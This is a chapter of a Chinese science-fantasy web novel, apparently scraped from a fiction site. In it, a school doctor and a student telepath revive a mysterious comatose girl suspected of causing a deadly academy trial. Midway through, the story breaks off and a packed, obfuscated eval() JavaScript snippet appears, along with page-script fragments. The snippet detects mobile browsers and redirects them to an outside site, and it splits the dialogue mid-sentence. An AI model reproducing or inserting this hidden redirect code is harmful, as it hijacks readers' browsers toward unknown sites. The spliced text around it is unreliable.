校外通道封锁,校内事务如常。风人言校长在试炼前夕受邀前往中央星议事,至今未归。以繁熙为代表的几名校方人员负责追查事故成因,而顾湖青接到了军方的指示,继续留在学院内,直至查明那两只S级突变种的来处。期限为一周。
假如届时仍无法给出令人信服的结果,司法部将直接介入。
月换琴上方的天空雾蒙蒙的,像大雨将至的海面。夜色将至。
学生们依旧正常上课,然而在某些一年级的教室里,有些人却永远地回不来了。
有13人没有走出试炼场,其中包括1名巡检员。大多数死于低级突变种的暴动,其他几名则死于S级鱼型突变种。
这一只怪物从酷海边上行,狩猎路径清晰,沿途几乎不曾偏移过方向,目的地明确指向冰原。
在通道恢复正常后,顾湖青传送到了颂白时所在的区域。混乱期间,光呐也被干扰,场内情况不明,唯一与S级打过交道且没有生命危险的,只有颂白时一个人。
关于混乱的源头,场内疑点最大的无疑是那个凭空出现的黑袍人。但在那之后,黑衣人就一直昏睡不醒。
“今天感觉如何?”
应酌手里拿着一沓检查报告,低头查看各项身体数据,一边询问对方。
“没什么异常。”
“你恢复得很好。”
颂白时是个很好的苗子,唯一的问题只在于经验还不足,在应对强大的敌人时难免消耗过度。应酌抬头,发现眼前的少年正望向窗外,晦暗的光影下,眸光像夜里苍白的星星。
他也看过去。高楼之下,有几个学生正步履匆匆地经过,白色的兜帽盖住了他们的头脸。
迷失的灵魂会成为银河的一粒星尘,白色指引亡人走向归途。
应酌轻轻抿唇,倒是颂白时已经回过头来,先开了口,“今天还要做意识力检测吗?”
他摇头,“不必,你现在的情况已经稳定下来了。日后多注意心灵控制,不是所有的战斗都能一发制敌。”
颂白时对校医道谢。他站起身,没走几步却又被应酌叫住了。
“你待会儿还有事吗?”
“没有。”
对于应酌这莫名抛出的问题,他心里隐隐有了猜测。
果然,应酌摘下眼镜,慢慢擦拭着镜片,声音里听不出什么情绪。
“我想让你也去看看她。”
于是他们转过了几个拐角,又走了几十个台阶,直到来到四层的某个房间。
病房内陈设简洁。看护人塞伦坐在一侧的桌前,她的手里正捧着一卷书。听到声音,她放下手里的东西,站起身,神情淡淡的。
“病人没有醒。”
这几天,几乎每天都有人来询问情况,病房的门一天至少要被敲响三次。
康复舱内沉睡着的少女脸色依旧惨白。她那破烂不堪的黑袍已被白色的病号服换下,除却头发乌黑,她几乎要与冰冷的康复舱体融为一体。
生命体征低得可怕,像风口的蜡烛,随时都可能枯萎。
应酌将手轻轻放在舱体之上,苍白的玻璃瞬间染起白色的光晕,仿佛有了生命。光影流离,将女孩的身体也包裹其中。室内升起淡淡暖意。
但很快,所有的光影都黯淡了下去,室内瞬间沉沉如夜。
颂白时听到校医的一声苦笑。他感觉到应酌拿开了手,于是光明再次降临病房。依旧是苍白的病房,苍白的康复舱,和苍白的少女。
应酌并非泗淮星的本地人,他来自康赛尔星球。康赛尔一向有杏坛之坛的美称,医疗水平在联盟之中处于顶尖水平,应酌本人更是其中的佼佼者,也是一流的觉心系学者。在来到月换琴之前,他一直在军中工作。
但此时,颂白时看到了他眸中的淡淡苦涩。校医再次开口,说出的话却仿佛与当下无关。
“塞伦是斯卡纳星球的‘白雪刃’,意思是,她的攻击能让所有的热血都畏缩成冰。”
这是对一名赛格系战士的极高赞誉。但颂白时听明白了其中的深意。
对此,塞伦的脸色依旧冷淡,没有因应酌的话而有丝毫变化。她已经重新坐回了桌前,继续看起了书,似乎她方才的举动已经尽到了该有的礼数。
她坐立的姿势、手指紧握的力度,都透着一种训练有素的痕迹。
“有人……来过?”
带着恶意而来。
“还没有。但如果将她交出去,月换琴此次的事件可以轻松揭过。”
实力强大,身份不明,行踪成谜,无人认识。她会是很好的替罪羊。学院内有一些守旧的极端分子,假如繁熙他们没能在期限内揪出凶手,那么对学院、对他们,都将是毁灭性的打击。
所以塞伦才会在这里。当一个不起眼的看护人。
“但是,”应酌自嘲道,“如果真有人打这样的念头,那他们完全可以不必多跑一趟。”
他伸手在一侧的仪器上按了几下,清晰的显像出现在舱体之上。应酌伸手,示意他注意其中的几项数据。
“一般来说,不会有人在康复舱中死去。这东西是老家伙们的心血,死人也能被吊回一口气。”
颂白时看向那低到几乎没有的数值,轻声开口,“但是,对于没有生意的人来说,则不起作用?”
应酌转头,眼眸冽冽,“你也是心灵学者,想必从刚才的黑暗里感觉到了一些东西?”
是的。颂白时点头。恐惧,绝望,无助,疯狂。如果是一个未经训练的心灵学者,贸然接触她的心灵,几乎会被立刻拉入死亡的深渊。
所以应酌对她的救治几乎不起效。她的心灵在排斥他的碰触。
校医继续看着他,“顾湖青说,他找到你们的时候,你对她的心灵有过救治。”
“‘试图救治’。但当时她仍有活下去的欲望,我甚至可以感受到一种强烈的执念。”
他默默看着他,颂白时明白他的意思。
“您想让我再试试?”
应酌无声叹息,“对不起,我本不应让学生参与进这种风险。但身为一名医者,很难在不尽全力的情况下就眼睁睁看着一位病人死去。”
他顿了顿,平静地说完了后面的话。“况且,不可否认的是……至少在目前,她的确最可能与试炼场内发生的事情有关。”
“好,我知道了。”
颂白时对他安抚地摇摇头,将眸光重新落在舱内沉睡的人身上。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599709|172018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你不必勉强,如果有危险就立刻退出。假如她对你能少一些排斥,我也会抓住机会及时接手。”
但他不觉得她会对他少一些排斥。颂白时想。从事实上讲,她帮了他。然而从她当时的状况来看,那恐怕只是一种无意识的战斗,一种自救的本能。
然而他依然顺从地召唤自己的精神力,感受它们渐渐舒展,透过冰冷的介质,轻触她混沌的心灵。
病房没有窗。月换琴的天空有穹隆的干预,此时依然走向了沉沉黑色。
一如她的心灵。纷乱复杂,千头万绪。绝望的死气。
颂白时的眼睫轻轻颤抖,几乎立时便覆上了一层寒霜。正如雪原上寒风凛冽,不见生的意象。
她的心灵比那时候更加痛苦。精神纤维刚刚接触到她,便被弹开了。但他依然以无比的耐心,以更加温柔、更加细微的方式,试图与她建立联系。
冰冷。冰冷。冰冷。
束手无措。应酌不能,他也不能。
然而就在精神力即将剥离之时,他忽然听到了玻璃的碎裂声,接着又是一道很大的噪音。有人从他身边冲过。
这一意外透过精神纤维刺激到了她沉黑色的情绪。颂白时顿时皱眉,任何细微的动作都可能透过精神纤维无限放大,从而对受体产生不可估量的影响。他立刻撤离。
但在同一时刻,他却听到了身边人沉稳的回应。
“交给我。”
什么?
他重新睁开了眼睛。
应酌不知何时将手放在了舱体之上,眉头轻锁。然而温暖的白色浅影却在他的视线里跃动。无数细小的纤维落在少女的身体之上。无数的墨点从她的体内析出,在舱体之上凝成漆黑色的花。
颂白时发现桌旁的塞伦不见了。
温暖感迫不及待地想要闯进他的心灵,却被他有意克制。他知道那是应酌在疏导女孩混沌的情绪。
于是他也在一旁无声等待。
治疗很快结束。应酌放下了手。但颂白时看到他的脸上并没有欣慰之色,反而更加凝重。
对上他询问的眼神,应酌舒缓了眉头,摇了摇头,轻声开口。
“她应该快醒了。”
门再次被推开了。塞伦将两个人丢在门口,两个被纨素绑得结结实实的粽子。她轻轻握了握右腕,金黄色的光芒淡去。
她的表情依然冷淡,却察觉到室内的气氛不太一样,于是向她看护的病人的方向投去了视线。
应酌微微露出笑意,他示意她过来。
塞伦走过来了。于是她那双冷冰冰的眼眸猝不及防地对上了一双深紫色的眼眸。
她的病人苏醒了。
舱体内的少女几乎是弹坐了起来。她用双手捂着心脏的位置,紧咬嘴唇,大口喘着气,眼泪瞬间浸透了紫色的眼眸。她刚醒来就已泪流满面。
她的脸色白皙如雪。
在场的三人却在同一时间屏住了呼吸。
……他们看到一朵血红玫瑰在妖然生长。
沿着苍白的肌肤,沿着纤弱的骨头,花梗上的尖刺,玫瑰的瓣儿,玫瑰的血红。缓慢,却清晰。猩红得可怖。
血色玫瑰在刚刚醒过来的病人右颊,无声生长。